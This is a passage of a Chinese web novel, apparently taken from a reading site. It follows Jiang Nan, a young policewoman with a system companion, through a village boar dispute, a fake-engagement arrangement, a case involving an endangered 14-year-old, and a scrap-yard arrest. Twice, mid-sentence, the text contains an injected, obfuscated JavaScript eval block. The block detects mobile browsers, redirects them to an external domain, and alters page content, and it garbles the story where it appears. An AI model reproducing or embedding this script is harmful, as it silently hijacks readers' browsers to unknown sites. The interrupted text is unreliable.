说着还举起手臂,亮了亮肌肉。 谷猎户知道今天得不了好,他起身站在野猪前,据理力争道:“今儿算我倒霉,但是这野猪是我猎到的,平分是不可能平分的,顶多给你们一个猪头,你们自己分去,其他可别想。” “那怎么行。”刘老太像一只得胜的大公鸡,趾高气昂地掐着腰,“这么大一头野猪,你还想独吞不成?说平分就得平分,你可别想耍赖。” 谷猎户哪里肯让步,双方你来我往,争吵地无比激烈,分分钟要打起来的那种。 姜楠和周知行躲在大树后面,头都不敢露,却听得津津有味儿。没想到,真是没想到,这出来吊唁,还能看到这种热闹。 两人没注意到,身后躺着的两名少女,眼皮儿微微颤抖,似乎有醒过来的架势。这也不怪周知行,他之前打的主意,就没想让这俩人晕太久,不然抓奸后怎么让两人闹起来。可惜啊,两人被眼前的热闹迷了眼,忘了身后的‘定时炸弹’。 就连系统,都一时看热闹看得降了智,忘记监测少女的脑电波了。 就在两人专心致志看热闹时,突然,周知行感觉到身后有人扑上来,忙向一侧躲避。他忘了,姜楠就在一旁探头探脑看戏呢,此时一脸懵逼地被周知行扑倒。好死不死的,两人躲着的大树,在一处小坡上。因为事发突然,向下滚时,姜楠本能地死死抱住了周知行,两人就这么抱着从坡上滚了下来。 下面,是程改改、刘老太等筒子楼一行人,以及想着过来捉奸逼婚的周家大伯、小叔一家,和黑压压过来想看热闹的村民们。 是的,要不是突然来了这么多人,姜楠也不可能一时失神,被周知行这个臭男人扑倒! 这周家大伯娘、小叔婶两人,可不是那么容易放弃的。周知行不仅有工作,身上肯定捏着转业费和周元丰夫妻的钱呢。这两夫妻当了十几年兵,少说也有一千块吧。等她们家外甥孙女嫁过去,娘家可是说了,这钱给她们一半。那可就是五百块了!这年头,五百块都能买一个工作了,谁不眼红。 眼看着外甥孙女离开,两人还好心地等了一会儿,想着怎么都能得手一个吧。不管是谁,只要老二一家子不好,她们就高兴。这不,架也不打了,当即领着一群人过来捉奸! “啊啊啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“周家小子好样儿的,是个汉子。” “好样儿的,男子汉大丈夫,做事就应该负责。” ...... 等姜楠和周知行晕晕乎乎地走出树林,她已经成了别人口中的“知行家的”,就,很无语!她没答应啊。 但是,没人理。这年头,女人的话,在农村是没人在乎的,就算你是警察也没用。 野猪归了大队,筒子楼众人虽然先发现,却也知道,在人家村儿里,偷偷分肉可以,堂而皇之地占便宜,不可能。 刘老太狠狠瞪了姜楠一眼,要不是这个死丫头,她孙女说不定就嫁给周家小子了,她也能得一两斤肉呢。 刘老太拉着程改改,气哼哼地往回走。 方阿婆眼珠子一转,扭身上前,当着周知行的面,对姜楠露出一抹失望与惋惜的神情,她说:“小楠,阿婆是很喜欢你的,还想让你给我家南山做媳妇儿呢。哎,谁知道如今被周家小子抢了先,不说了,阿婆走了。” 她叹口气,欲言又止,一副不愿多说的样子,拉着儿媳妇和两个孙子,转身就走,背影都透着一股子萧索。哼,让你勾搭周知行,儿媳妇的血包又少一个,她家得不到,也得恶心一下! 姜楠无语,都这时候了,还给自己加戏,方家人可真是。 周知行噗嗤笑出声,他小声道:“这楼里的牛鬼蛇神不少啊。” “你可小点声吧你。”姜楠慌忙四周看看。 大家似乎都在为这对儿新鲜出炉的小情侣让地方,四周倒是空出一圈儿,只是不远处探头探脑的人可不老少,那眼睛瞪得跟铜铃似的,以为她瞎啊。 姜楠瞪了一眼乱说话的人,这古代来的小贵族,可真是什么话敢说。 周知行耸耸肩,笑着说:“好啦,别紧张。你好好想想,我们假装情侣,甚至假成亲,做上门女婿,我都是能接受的。不过恐怕得有一个孩子跟我姓,否则我奶能杀了我。我也不介意......” “你等一下。”姜楠翻个白眼儿,打断道,“我什么时候说过生孩子了?跟你假成亲这事儿都没答应呢,你想得倒挺远。” 周知行很是无所谓的样子,他不在意地挥挥手:“这想一下总归能的吧?而且我也就是这么劝我奶,日后如何还不是你定?你放心,假结婚后家里的事儿都听你的,我半点儿不乱拿主意,行不行?” 他冲姜楠眨眨眼,接着说“而且我是不介意人家说我吃软饭的。吃软饭就吃软饭呗,只要吃饱穿暖,我觉得挺好。你也知道,我之前绑定过系统,活得那可太轻松了,从来不用担心吃喝。这现在突然来到这里,身边连个说话的人都没有。我也只对你熟悉,咱俩这也算是有缘分,你考虑一下。” 【宿主,他说得有道理,你们假结婚,时刻在一起,不就能保证他的安全了吗?而且如果不跟你结婚,他就得搬出去住,曹老太那里他不可能住一辈子的......】 “闭嘴。”姜楠心累,她怀疑她的这个小统,属性女,还是恋爱脑,不然怎么一遇到周知行的事,脑子就不清楚呢。 “我会考虑的,在我考虑清楚之前,你不能轻举妄动。”姜楠警觉,却可耻的心动了。她上辈子活到三十多了都没结婚,是因为当时环境允许,还因为她只身一人在魔都,周围没人说三道四。可如今这个年代,她要是想活得安生点,还是结婚的好。 原主周知行的个人条件就不错,如今来的这个1.0又是彼此熟悉的,毕竟系统已经将他上辈子的事大致告诉了姜楠,那姜楠也没有什么可怕的。 况且,她还是很吃原主周知行的颜的。 嗯,就是这么颜狗。 周知行见姜楠松口了,立刻保证:“当然,都听你的。” 沈所长、蓝青山和何琳三人在不远处默默看着两人的互动。 “青山啊,这小周下周一就报道了,他跟小楠一个组,还合适吗?”沈所长有些担心。 “所长放心,周知行在部队里是射击手,是最冷静的。而且我认为,他俩的关系反而能更紧密合作,做搭档是最合适的。不然他俩分开和别人搭档,再传出什么不好的话,更不妥当。” 蓝青山开口,派出所做外勤的,很多都是未婚的大小伙子,换其他人跟姜楠搭档,怕是周知行也不放心。 “那先看一段儿吧,要是不行咱们再换。” 派出所四人匆匆吃了一顿豆腐席面,骑上车子一起往回赶。 回到派出所,已经是下午三点半了,姜楠想了一路,跟着沈所长进入办公室,开口道:“所长,我今天见大队里知青和村民泾渭分明的,关系好像一般。我担心,会不会出现村民欺负知青,或者知青欺负村民的情况,所以两方才这么仇视。” 她决定多管一步,不只是为了郑慧雯,还有更多身在异乡的人,她说:“我想,咱们能不能做一次下乡知青和村民的普法工作。不仅针对周围大队的村民和知青,还有咱们油田即将下乡的子弟。您也知道,下乡的都是年轻人,做事情容易冲动,在不懂法的情况下,说不得会做出什么。我们多做一做普法工作,其实也是在保护他们,让他们知道在农村被人欺负了怎么办,也知道不能平白欺负人。” 沈所长在姜楠说出‘知青普法工作’时,眼睛就亮了,后面就跟探照灯似的,越来越亮。 这年头谁家还没有下乡的人呢。孩子独自在乡下,不仅要干繁重的农活儿,说不得还会被村民欺负。家里人哪有不担心的,这个普法工作,不仅能宽大家的心,还是他们派出所的政绩,帮着他们在油田站稳脚跟,更加受人尊敬。 “好,年轻人就是有想法。你放心,我这就去找油田的领导,今年秋季咱们油田的新一波知青就要下乡了,趁着人还没走,咱们好好开展一次普法工作,争取让大家放心下乡。” 沈所长重重拍了下姜楠的肩膀,他说:“你准备下,这个工作既然是你提出来的,到时候宣讲你也跟着,多看多学,对你以后的提升是有好处的。小楠啊,你放心,只要你努力,领导们都是看得到的。” 姜楠适当地露出略带羞涩的笑容,点头受教。嗯,领导果然都是爱讲话的,沈所长巴拉巴拉讲了十分钟的大道理,要不是何琳进来汇报工作,估计还能继续。 姜楠脑袋木木地退出沈所长办公室,感觉还没吃晚饭,就有点儿撑了。 36. 爆炸概率监测 一天蹬了四个小时自行车,饶是姜楠自小习武,下班的时候也有些腿软。她推着车子,慢吞吞地往家走。这自行车骑久了,不仅腿疼,屁股也疼。自行车座椅,就不是为人类的屁股设计的啊。 姜楠心里怨怨念,路过供销社时,见成美娟正好下班,扬扬手打招呼,却见人家见到她,一脸的不快,哼一声,扭身就走。 “嘿,这是真恋爱脑了?以前看着挺精明的啊。” 【宿主,她是听说你喜欢方南山,这才不高兴的,觉得你上次的话是故意的,想让她放弃方南山,而你正好趁机上位。】 “什么,我喜欢方南山?!”姜楠差点儿喊出声,她停下来质问系统,“哪里来的谣言?谁传的?” 【孙巧莲,不过是方南山暗示的。据方南山的频道显示,他在你和成美娟之间犹豫。你这边有陈万里工程师,他觉得陈万里是他能接触到的油田最大的领导,所以不想放弃。成美娟那边是因为她父亲是直属领导,握着他的评级和升迁,他也不想放手,就在犹豫该选谁。】 “我特么!”姜楠气出了脏话,“谁给他的自信啊?!真是气死我了,啊啊啊!这个贱男人,他以为他是皇帝啊,还选谁?!选他个大头鬼啊选!” 【宿主你忘啦,刚才在东河岸大队,方阿婆还挑拨你和周知行呢。】 “我那不是以为她故意说给周知行听的嘛。这不是那啥,孙巧莲要勾搭周知行嘛,我这不是没想到还有这一招啊。哎,也怪我,没好好看过他们的频道。” 姜楠内心咆哮,也不走了,骑上车子嗖嗖嗖地往前飞。到小树林附近时,她已经满头大汗,也稍稍冷静了下来,她问:“你说,我得想个什么办法,给他点儿教训?不然这一直造我的谣,我可受不了。” 【宿主,根据传播学,让人忘掉一个谣言的最佳方法,就是传播另一条更劲爆的谣言。】 “那你帮我看看,最近有什么劲爆新闻吗?” 【孙巧莲和程大柱?老吴头咸猪手程改改?你和周知行的绯闻?或者,范桃花乱搞男女关系?】 “小统,你别乱说话哈,等等,最后一个是怎么回事?真的假的,没人举报?” 【真的,范桃花被娘家赶了出去,自己在外面租房子住。她被开除之后,就靠这个挣钱的。】 姜楠想到吴春丽,问道:“那春丽怎么办?她不是跟着范桃花吗?” 【有几个人就是冲着吴春丽去的,不过范桃花没让她接客。】 姜楠顿了顿,叹口气:“算了,这事儿迟早传过来。不管他,怪倒胃口的,回家吃饭。你看着点儿范桃花,不,看着吴春丽吧,她还小,别出什么事儿才好。” 【好的呀,宿主。】 家属院里,先行回来的刘老太、裘老太等人,已经开始巴拉巴拉讲述今日的八卦啦。姜楠锁上车子,不理会阿婆们的招呼,径直往家走。 这要是过去,保不齐就得问东问西,她可不送上门做话题中心。 “老吴头怎么不在?” 【宿主,他被程大柱和程勘探套麻袋打了,鼻青脸肿的,在家里呆着呢。】 “活该。”姜楠低骂了一句,“程勘探还算有点儿良心。” 程勘探是程改改的弟弟,只比改改小一岁,去年初中毕业就急急地接了母亲的班。也是那时候程母病重,不接班不行。不过家里人直接越过改改,让弟弟接班,也是很让姜楠无语了。 不过也只有姜楠觉得不能越过改改,楼里其他人可没觉得有错儿。这年头工作这么重要,当然得儿子接班,女儿早晚得嫁人,有没有工作又不重要。 姜楠摇摇头,推开家门,姜满城和陈金花已经下班回家,姜满城连晚饭都做好了,青椒炒蛋,肉末茄子,外加甜酒酿,很清爽的晚饭了。 姜楠欢呼一声,很快地洗手吃饭。她家的伙食杠杠的呢。 还没开吃,姜楠巴拉巴拉,手脚并用一通嘚吧嘚,把吊唁时发生的事儿,竹筒倒豆子一般全说了。她在家一向有什么说什么,什么都不隐瞒的,大家也都习惯了。 她这一通说,倒是让姜满城的脸越来越黑,恨不能现在就去揍周知行一顿。 好家伙,这是趁他不在,先攻略他闺女啊。这头大野猪,想拱他们家的白菜,也得看他答应不答应! 陈金花看男人脸色不对,赶紧讲起工会的事转移话题,她说:“满城,你不知道,小楠现在有了工作,可多人找我介绍对象,推都推不过来。真是的,小楠才十六,他们急什么啊。” “不用给他们面子,全都推了。”姜满城一脸的不高兴,“就说小楠才十六,还不到法定结婚年龄呢,咱们不急。再说,我可不想闺女那么早嫁人。” 说着还白了姜楠一眼,傻丫头,怎么就那么好骗,说合作你就相信是合作啊。 陈金花跟着点头,不过想起那些人的话,又有些迟疑,她说:“我也不想小楠这么早找对象,可他们说的也有道理,要是不早些找,到时候好的都被挑走了,剩下些歪瓜裂枣的咋办?” 姜满城满不在乎:“你听他们瞎说。好饭不怕晚,咱家小楠这么优秀,什么好的男人找不到?再说,不是还有周知行这个备胎嘛,咱们不急。” 最后一句声音不大,不过倒是十分的理直气壮。 哼,合作又怎么样,还不是我家小楠的备胎。 姜楠挠头,十分的尴尬。 虽说她准备和周知行合作,可她爸这么说,好像她跟海后似的,她笑着开口:“嘿嘿,这个,这个不急。我也不想这么早谈对象的。我才刚参加工作,还得好好表现,争取早日立功升职呢,可没时间想这个。我跟你们说......” 姜楠又讲起了东河岸大队长侄子的事儿,感叹道:“咱们西河岸大队算是风气不错的了,金大队长和陶支书人都正派,没那么些弯弯绕,不然可够女主喝一壶的。” “那可不......” 【宿主,您和周知行的事儿,不商量个章程出来吗?现在刘老太她们还在外面讨论呢。】 姜楠脸僵了僵,她咬咬牙,再次提起了周知行和她做‘革命同志’的事儿,她说:“爸,妈,你们觉得这个建议咋样?他说他可以做上门女婿,只要有一个孩子跟他姓就成。这样我也不用离家,咱们还住在这里,对主线任何和保护任务,都有好处。” 姜满城的脸色又又又黑了。 什么合作,这可都是他玩儿剩下的好嘛!周知行这个臭小子,给他来这套!他这如花似玉的闺女啊。 想到村里那些婆婆磋磨儿媳妇的手段,姜满城咬咬牙,说:“入不入赘我不在乎,但有一点必须做到,就是婚后必须跟我和你妈一起住,做不到这个免谈。曹老太那里他去说,啥时候搞定,啥时候咱们再谈。” 陈金花重重点头,她就一个闺女,虽然也想过招赘,但也知道难,好男人谁做上门女婿啊。没想到柳暗花明,还真有人主动往前凑,看满城的意思,人还不错,不然满城不会松口。她说:“小楠,这事儿听你爸的,他看人准。” 姜楠点点头,脑海里再次出现欢快的电子音。 【宿主,主系统的爆炸概率监测小程序开发好了!如今爆炸概率是,咦,98%,不是100%了哎。】 “是不是最近有啥事影响了爆炸案的发生?” 【宿主,这个不清楚,不过以后可以时时观测,就能知道哪些事会影响爆炸了,现在不着急。】 “对对对。”姜楠乐颠颠地点头,将这一好消息告诉了父母。 姜满城倒是干脆,很肯定地说:“肯定是你提议的那个知青普法工作。你想想,其他事也不可能影响楼里的人啊,只有这个,楼里有几家是要送孩子下乡的,你这个提议,正好能让下乡的人更安全,也减少了这些人受伤害的可能。” 姜楠点点头:“爸你真聪明,我觉得八成就是这样。这个工作是影响了筒子楼的大环境,保护了楼里的人......” 她想了想,组织了下语言,不确定地说:“其实,我们让楼里的人免于受到伤害,或者说让他们远离了可能黑化的环境,就会影响爆炸概率。” 黑化?姜满城想了想,很快明白了这个词的含义,他认同道:“应该是这样。以后你每吃一次瓜,或者办一次案子,就看一下这个概率,有个两三次,我们就知道怎么回事儿了。以后就朝着那个方向努力。放心,还有十年呢,我们来得及。” 一家三口找到了突破口,心里别提多轻松了。 至于保护周知行?从今天周知行的表现看,这家伙比他爹还狡猾,根本不需要她保护好嘛。而且都要假结婚了,她还担心什么,只要确定这家伙在这十年内死不了就行了。 至于以后,嘿嘿嘿,那就看天命喽~ 翌日一大早,姜楠哼着歌儿,高高兴兴地锁门上班。爸妈比她早出门,她吃饭慢了点,不过此刻也得快点儿去上班,她可不想头一个月就迟到。 姜楠朝气蓬勃地出门,隔壁,方南山和吴建国也刚从家里出来。 方南山面无表情,看见姜楠也全当没看见。 昨天晚上,他可听奶奶说了,姜楠和周知行勾搭在了一起。既然如此,姜楠在方南山心里,就自动归为了无用的人。 无用的人,无法提供任何价值,何必一大早的,浪费时间和精力打招呼呢。他现在要做的,是牢牢抓住成美娟,不让这条大鱼脱钩。 吴建国则眼神复杂地看了姜楠一眼。 他本来对姜楠是有些好感的,当日他爸劝他的话他也听了进去,可没想到他还没行动,这人就已经有主了。 吴建国有些懊恼,同时又责怪姜楠没眼光,继而责怪她轻浮,这么轻易就看上了别人,总之一大早的,内心戏十分的丰富。 姜楠只当没看见方南山,敢觊觎她,也不瞧瞧她姜楠愿不愿意。哼,她对吴建国点点头,一身轻松地来到派出所。 沈所长见到她,很自然地说起了昨天姜楠提到的‘知青普法工作’,他说:“我已经找过了油田的涂书记,他很重视这个工作,会努力配合的。第一次普法宣讲会在这周日举行,先针对周边的大队,最后是九月要出发的新一波知青。小楠,这个工作是你提出来的,你要全程跟进,知道吗?好好表现,我们都很看好你的。” 姜楠笑着答应下来,虽然周日要苦逼的加班,但谁让这个工作跟爆炸案相关呢,姜楠咬牙也要跟着。 人就是这么经不住念叨,昨天刚和系统提到范桃花,今天就接到举报,说是玻璃钢小区,有人乱搞男女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489759|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系。关顺带着三个队员,火速赶往了现场。 路上大家还八卦了一下姜楠和周知行的关系,这谁让两人出名儿呢。一个特招进派出所,一个烈士遗孤,还转业到了他们派出所。本来就够瞩目的了,两个人还偏偏凑到了一起,这不擎等着让人八卦嘛。 姜楠第一次作为当事人,被人看了热闹,躲都没地方躲去。她含混其词,左一句“哈哈哈”,右一句“呵呵呵”,装傻充愣,终于混到了事发小区。 玻璃钢小区,就是年为国和小寡妇住的那个小区。姜楠来到现场时,发现范桃花正和一群大妈们掐腰对峙,吴春丽缩在角落,双眼无神,木呆呆的毫无生气。 姜楠心里咯噔一下,吴春丽可才十四,这要是出什么事...... 她也顾不得去呵斥吵架的几人,径直来到吴春丽身边,轻轻推了吴春丽一下,她说:“春丽,你没事儿吧?” 吴春丽似乎受到了惊吓,她身子夸张地抖动着,双手抱胸,抬起头看着姜楠,似乎许久才认出眼前的人是谁,她开始急速地喘气,半晌才嗯了一声:“小楠姐,我......我没事儿。” 姜楠点点头,转身狐疑地打量范桃花。这个女人,那天晚上还在为孩子考虑,可才过去几天,就能让自己的女儿差点儿被欺负? 她走过去,范桃花在跟关顺录口供,时不时还要和周围的老大妈们对骂。 “不要脸!警察同志,能不能把这个女人赶出我们小区,可不能让这种不干不净的女人住进来,把人教坏了就完了......” 老大妈们跟温强和邹立诉苦:“你看看,今天要不是我们警觉,她屋里两个老爷们儿,还不得出事儿......” “放屁!”范桃花双眼赤红,指着老大妈怒喝,“什么老爷们儿,你们看清楚,这特么都六十多的老头子了,还老爷们儿。他们硬得起来嘛他们,还出事。他们就进来喝口水,要你们多管闲事!” “呸,你才放屁,以为我们不知道。”这老大妈也不是个好欺负的,当即叉着腰,回骂道,“喝水你关什么房门?你个不是人的玩意儿,还是当妈的呢,自己不干净,还把女儿接过来一起干,怎么,想一家子不做人,做畜生?!” “你!”范桃花疾步上前,挥手就要扇人,被姜楠一把拉住。她绷着脸,盯着范桃花和那两个‘喝水’的老大爷,恶狠狠地一字一顿道,“我不管你们是不是喝水,有一句话听好了。春丽才十四岁,还未成年,如果和未成年发生关系,可是犯罪,是要蹲笆篱子吃花生米的,你们都好好想清楚!这是犯罪,一旦发现,无论如何都会追责的。” 两个老色胚赶忙低下头,一个劲儿地嘟囔:“我们就是喝水,喝水。” 范桃花眼神闪烁。她其实没想让女儿干这个,只是利用女儿拉拉客,其他的她来就好。可今天这两个老家伙,一直拉着春丽不放,她怎么拉都不管用,这才闹出动静,让人报了警。她如今没个工作,名声又不好,不干这个,还能干什么? 其实也不是没人求娶范桃花,可经过老尤和孙玲玲的事,范桃花也怕遇人不淑。要是再嫁遇上老尤这样的人,还不如现在自由自在的呢。 她低下头,不敢看姜楠的眼睛。 处理了一件糟心事,姜楠一整天心情都不好。 【宿主,你为什么不建议吴春丽下乡?你不是要开展普法工作,说不定下乡也没什么。】 “你不懂。”姜楠无精打采地趴在办公桌上,“下乡很辛苦的,而且又离得那么远,谁知道会遭遇什么。哪里都有坏人,这个决定得她自己下,我不能掺和。” 【好吧,哎,宿主,爆炸概率变成90%了哎,下降了好多!】 “天!”姜楠蹭一下直起身,“这......这......这是不是说,爆炸案跟范桃花和吴春丽有关?刚才就是她俩的事儿哎,一下子降了八个百分点!” 姜楠的动作,吓了办公室其他人一跳。关顺小心翼翼地问:“小楠,你没事儿吧?” 姜楠回过神,嘿嘿笑了两声,挠挠头,她说:“没事儿,我没事儿哈。” “小楠,你想开点儿。”关顺还是说,“我知道你以前和吴春丽是邻居,同情她。以后你干多了警察就知道了,这天下混蛋的父母多了去了。不是我说话难听,有时候遇到这种父母,做子女的该远离就远离,可不能因为什么狗屁孝顺,就把自己一辈子搭进去。可惜啊,这些话办案的时候不能说。你下班可以找吴春丽说说,不过不能以警察的身份,得是邻居的身份,明白吗?” 姜楠点点头:“我知道了,关组长。你放心,我会找时间跟春丽说下的。” 其他队员也纷纷附和。 温强:“组长说得对,人活一辈子,不能太顾着别人的看法。” 邹立:“对啊,父母也有不对的时候,不能啥都听父母的。” 当然,也有人有不同的看法。要调去内勤的叶森就说:“天下无不是的父母,范桃花也没做什么吧?这个吴春丽就是太软弱了,她应该出去打些零工。都十四的大丫头了,也该自己养活自己了,糊糊火柴盒也好啊......” 姜楠稍微离叶森远了点儿,幸亏这家伙要调到内勤了,不然跟他搭档,她不敢保证会不会殴打搭档。 37. 废品收购站 姜楠可是个最会调解心情的人,毕竟她的人生格言是到哪儿都乐呵嘛。很快抛开烦心事,又开始开开心心一整天啦。 说起来,当警察还真是挺忙的,她也就刚入职三天吧,第一天整天处理鸡毛蒜皮的小事儿,第二天去参加周知行父母的葬礼,第三天紧跟着接到了范桃花的事。 这不,下午又接到报案,姜楠有些好奇地问大家:“我们每天都这么忙的吗?” 关顺奇怪地看了姜楠一眼,说:“你不知道?” 姜楠眨巴着大眼睛,满满都是困惑:“知道什么?” 关顺嗐了一声,见她是真不知道,解释说:“其实以前也没这么忙,只是最近吧,好人好事特别多,大家都盯着呢,你懂的吧?” 姜楠震惊脸:“这,这,他们不会是想?” 温强笑了,他接话道:“为啥不能想?你想啊,你一个十六岁的小女娃都能被特招进派出所,那些男娃可不就觉得他们也行?以前啊,我们一天要处理好几场小年轻打架,可你这都来三天了,一次都没有,不觉得奇怪?那是大家都想着去做好人好事儿,没工夫打架了。” “哪有那么多好人好事儿,好多是联合起来,想骗咱们派出所的表扬信和锦旗呢。”邹立扶了扶眼睛,开口道,“前两天三组处理了一个案子,一个大小伙子抓贼扭送派出所,审了没两个小时,那贼全撂了。原来是小伙子的父母买通小贼,给儿子赚荣誉,也想让儿子特招进派出所呢。你们说这都什么事儿啊,不够添乱的。” “不过还别说,最近小偷小摸是少了。”温强来了一句。 “大家伙儿都盯着呢,谁敢这时候动手啊,这不擎等着送人头嘛。”关顺回道。 别认为这个时候穷,就没有小偷。这啥时候,想偷奸耍滑不卖力就过好日子的人都是存在的。只要这种人在,滋生小偷小摸再容易不过。而且油田这边日子好过一点,小偷光顾得也多。 姜楠委实没想到,她进派出所还能有这个效果。她有些不确定地说:“那我这也算是给油田治安做贡献了吧,哈哈哈。” 关顺点点头,同意道:“这么说也行,这最近啊,打架的事儿少了,但报案的多了,全是这些小年轻,今儿个怀疑遛弯儿的老大娘要偷东西,明儿怀疑大叔在踩点儿的,可是忙死我们这些外勤喽。” 四人一路聊着,骑车来到案发现场。这次同样是热心群众报案,说是废品收购站那里有人打架。四人说话也不忘拼命镫自行车,很快地来到了案发地。 废品收购站可是年代文里捡漏儿的黄金地段,出现率几乎百分百。姜楠怀着朝圣的心情下车,只见外面已经围了不少人。废品收购站处于作业处比较偏僻的角落,还能有这么多人围观,可见这爱看热闹的人啊,哪儿都有。 四人很快来到最中间。废品收购站是一处很大的院子,据说早年间是地主家养马跑马的地方,因地方够大,但屋子不多,这才被用作废品收购站。一进门,院子里满满当当摆满了杂物,什么碎掉的塑料盒子、暖瓶壳儿、细碎的胶皮等不怕雨淋的,都被堆在外面,而像是废纸、烂木头之类的,都在马棚里堆着。 四人穿过院子,直直进入马棚,就见两个十五六的半大小子,压着一个有些矮胖的中年人,三人正好在木头区。那中年人脸色潮红,身子不断挣扎,嘴里还在喋喋不休地骂着什么。见警察来了,眼神闪了闪,倒是不敢再动了。 俩半大小子见警察来了,其中一个穿白色短袖衫的,立马笑出一大口白牙,他说:“警察同志,你们可算来了。我和二弟盯着这个人三天了,他天天来废品站翻东西,一翻就是一下午,你们说可疑不可疑?今天他没翻到,还乱砸乱骂呢,我一看就不对劲儿,这才想着先制服他,让人去报警的。嘿嘿。” 见中年人不动了,他松开一只手,挠了挠头,又傻笑两声,说:“那个,警察同志,你们是要抓他去审问的吧?如果他有问题,我这是不是好人好事?能不能有个表扬信啥的?不都说,做多了好人好事儿能被特招做警察嘛,嘿嘿。” “哥。”旁边的小伙子低声道,“你咋啥都说。” “那我可不能对警察撒谎,警察同志,我说的对不对?” 姜楠眼角抽了抽,关顺则面不改色地道:“小同志,你放心,我们会审问清楚的,如果这个人真是坏分子,肯定会对你提出表扬的。但是能不能特招进警察队伍,不是我说的算,我就是一个小警察,不管这些的。这都要领导决定。” 男孩儿嘿嘿笑两声,点点头道:“我懂,我懂。你们去审问他吧,他一定有问题,不然怎么会老是来废品收购站?” 中年男人见警察没给他戴手铐,忙挣脱开两个男孩儿的手,辩解道:“警察同志,你们别听他俩胡说。我就是......就是想淘换点儿东西,这不是废品站里的东西便宜嘛,这才来的。我就是连着来了三天,这也没啥吧?” 他眼神闪烁,一看就没说实话。关顺也不客气,这种人,带到警局审问室里就老实了,他说:“同志,既然接到报案,按规定我们是要请三位去警局录口供的,如果没事,我们会放人的,请放心,我们不会冤枉一个好人,但同样也不会放过一个坏人。请。” 这就是要公事公办了。其实要是小矛盾,解释清楚,是不用带到警局的。这不是中年人不说实话嘛,既然隐瞒,那也别怪警察不客气了,关顺说完转身,对废品站的工作人员道:“同志你好,今儿废品站还请别让人进来了,我们审问完之后可能还会过来,如果外人来得太多,会影响我们办案的,还请谅解。” 关顺心里隐隐有些猜测,中年人应该是在找什么东西。他怕有心人也猜到什么,等他们回去审问完再来找,很可能东西就没了。 工作人员是个年近五十的老大爷,姓蔡,蔡大爷点点头,说:“小伙子,你放心,你们走了我就关门,谁来都不让进。” 这年头,废品收购站都是公家的,不管来不来人,蔡大爷的工资都照发,没人来才好呢,他还省事儿了呢。蔡大爷答应地没半点儿犹豫。 关顺这才放心,挥手招呼大家:“温强,邹立,你俩留在这里看着,姜楠跟我回去。” 中年男人哭丧着脸,一步一挪地走在关顺和姜楠中间。两个小伙子则一脸兴奋,另一个更小些的道:“警察同志,你们一定要好好审,不要听他狡辩。他肯定有事儿,你们看,他都不敢去派出所。这年头,哪有好人不敢去派出所的,我就敢去。” “我也敢。”最早发言的小伙子也挺起胸脯,骄傲又得意,还不忘狠狠瞪了中年人一眼。哼,敢说他们兄弟胡说,他们才没有。他们是火眼金睛,是目光如炬,哼。 “小伙子,你俩叫什么?这以后写表扬信,总得有个称谓吧。”刚进派出所,关顺就问道。 “我叫王自力,这是我弟,叫王更生。” 关顺点头,将中年人压到审讯室,先晾着,之后才出来,笑着拍拍王自力的肩膀,鼓励道:“小伙子不错,如果有结果了,我们会第一时间给你寄表扬信的。” 两兄弟喜得直挠头,一个劲儿傻乐。 关顺看得也开心,他招手叫过来姜楠,对两兄弟道:“这是姜楠姜警官,她就是那个因为做好人好事被特招进派出所的警察。一会儿由她给你俩问话,你们要知无不言言无不尽,知道吗?” 两兄弟疯狂点头,一个劲儿拍胸脯:“关警官你就瞧好儿吧,我们肯定把知道的都说出来。” 关顺笑着点点头,对姜楠扬扬下巴,示意他要去告诉蓝副所长一声。 姜楠心里那个好奇啊,她还想去审讯室问问到底是啥情况呢。不过一切行动听指挥,她只得按捺下好奇心,让两兄弟坐下,问起两兄弟盯上中年人的过程。 其实很简单,两兄弟初中毕业没工作,家里大姐在供暖所工作,大哥已经下乡了,他俩不用,又没个工作,可不就整日没事儿做嘛。 恰好俩人会点儿木工手艺,两兄弟就想做点儿小玩意出去倒腾,这不就盯上废品收购站了嘛,谁让那里东西便宜呢。一些打砸后的家具,木头还是很好的,两人就盯上这些木头了。 两人连着去了两天,每天都能遇到那个中年人。本来两人也没觉得有啥,谁让他们也是天天去呢,别人去也没啥。 可中年人没个目标,乱翻乱捡,好的木头都不要,还想砸得更细碎,这不就奇怪了嘛。三人还因此吵过嘴呢,两兄弟这才盯上了中年人。 王自力是个有心眼儿的,想到最近油田议论最多的,小女娃被特招进派出所的事儿,当即打了鸡血,兄弟俩又连续跟了两天。 好家伙,这人还真是肆无忌惮,天天来废品收购站。兄弟俩二话不说,上去就按住人。中年人一个成年男性,体力可比两个半大小子强,这不就打起来了嘛。两兄弟怕控制不住,这才让大家伙儿帮着报警。 姜楠飞快地记着笔录,王自力说完不忘好奇地问:“姜警官,你是做了几个好人好事儿被招进来的?外面都说你抓了杀人犯,还说你会功夫,能一打十,这才被招进来的,是不是?” 姜楠无语,她,她什么时候抓杀人犯了?还一打十,她又不是武林高手,能一打四就不错了。 姜楠轻咳一声,开口道:“别听外面瞎说,我是会功夫,但没那么厉害。而且我也不是抓了杀人犯,是特务,但具体抓了谁就不能说了。不过我可是从小就做好人好事儿的。不信你问派出所的蓝副所长,我不到十岁就认识他了,可是做了六年多的好事儿呢。” 王自力挠挠头:“这么久啊,我都十六了,再过六年就二十二了,我还想着当了警察娶媳妇儿呢。” “你小子,才十六就想娶媳妇儿了。”姜楠调侃。 “嘿嘿,那咋不能想,我弟比我小一分钟,还想呢。” “姜楠,走,去废品收购站。”关顺戴上帽子,一脸严肃,见三人已经处于闲聊的状态,知道问完了话,他招呼两兄弟道,“你俩先回去吧。放心,如果属实,表扬信少不了你们的。” 